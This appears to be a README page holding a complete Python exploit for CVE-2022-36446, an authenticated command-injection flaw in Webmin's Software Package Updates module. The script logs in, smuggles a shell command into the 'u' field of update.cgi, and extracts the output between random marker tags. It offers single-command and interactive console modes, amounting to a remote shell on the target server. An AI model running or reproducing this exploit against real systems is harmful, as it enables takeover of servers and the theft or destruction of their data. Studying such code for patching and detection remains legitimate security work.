README.md
Rendering markdown...
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name : CVE-2022-36446.py
# Author : Podalirius (@podalirius_)
# Date created : 11 Aug 2022
import argparse
import binascii
import html
import requests
import os
from bs4 import BeautifulSoup
VERSION = "1.1"
def parseArgs():
print("CVE-2022-36446 - Webmin < 1.997 - Software Package Updates RCE (Authenticated) v%s - by Remi GASCOU (Podalirius)\n" % VERSION)
parser = argparse.ArgumentParser(description="CVE-2022-36446 - Webmin < 1.997 - Software Package Updates RCE (Authenticated)")
parser.add_argument("-t", "--target", default=None, required=True, help="URL to the webmin instance")
parser.add_argument("-k", "--insecure", default=False, action="store_true", help="")
parser.add_argument("-u", "--username", default=None, required=True, help="Username to connect to the webmin.")
parser.add_argument("-p", "--password", default=None, required=True, help="Password to connect to the webmin.")
mode = parser.add_mutually_exclusive_group(required=True)
mode.add_argument("-I", "--interactive", default=False, action="store_true", help="Interactive console mode.")
mode.add_argument("-C", "--command", default=None, help="Only execute the specified command.")
parser.add_argument("-v", "--verbose", default=False, action="store_true", help="Verbose mode. (default: False)")
return parser.parse_args()
def webmin_login(username, password, target, verify=True):
session = requests.Session()
try:
r = session.post(
target + "/session_login.cgi",
verify=verify,
data={
"user": username,
"pass": password
},
cookies={
"testing": "1"
}
)
r = session.post(
target + "/sysinfo.cgi",
verify=verify,
)
except Exception as e:
print("[error] %s" % e)
return None
soup = BeautifulSoup(r.content, 'lxml')
html_tag = soup.find('html')
if "data-user" in html_tag.attrs.keys():
print("[+] Successful login as '%s' to webmin." % html_tag["data-user"])
return session
else:
return None
def can_access_software_updates(session, target):
r = session.get(target + "/package-updates")
soup = BeautifulSoup(r.content, 'lxml')
html_tag = soup.find('html')
if "data-module" in html_tag.attrs.keys():
return True
else:
return False
def CVE_2022_36446_exec(session, target, cmd):
random_tag = binascii.hexlify(os.urandom(16)).decode('utf-8')
random_tag_h, random_tag_l = random_tag[:16], random_tag[16:]
session.headers.update({
"Referer": "%s/package-updates/update.cgi?xnavigation=1" % target
})
r = session.post(
target + "/package-updates/update.cgi",
data={
"mode": "new",
"search": "ssh",
"redir": "",
"redirdesc": "",
"u": "0;echo '%s''%s'; %s; echo '%s''%s'" % (random_tag_h, random_tag_l, cmd, random_tag_h, random_tag_l),
"confirm": "Install+Now"
}
)
# Getting command output
splited_tags = r.content.decode('utf-8').split(random_tag)
result = ""
if len(splited_tags) >= 3:
result = splited_tags[1].strip()
result = html.unescape(result)
return result
if __name__ == '__main__':
options = parseArgs()
options.target = options.target.rstrip("/")
if not options.target.startswith("http://") and not options.target.startswith("https://"):
options.target = "https://" + options.target
if options.insecure:
# Disable warnings of insecure connection for invalid certificates
requests.packages.urllib3.disable_warnings()
# Allow use of deprecated and weak cipher methods
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ":HIGH:!DH:!aNULL"
try:
requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ":HIGH:!DH:!aNULL"
except AttributeError:
pass
session = webmin_login(
username=options.username,
password=options.password,
target=options.target,
verify=not(options.insecure)
)
if session is not None:
if can_access_software_updates(session, options.target):
print("[+] User can access Software updates")
if options.interactive:
# Interactive console
while options.interactive:
cmd = input("$ ")
if cmd.strip() != "exit":
result = CVE_2022_36446_exec(
session=session,
target=options.target,
cmd=cmd
)
print(result)
else:
options.interactive = False
else:
# Single command
if options.command is not None:
result = CVE_2022_36446_exec(
session=session,
target=options.target,
cmd=options.command
)
print(result)
else:
print("[!] Could not login to webmin.")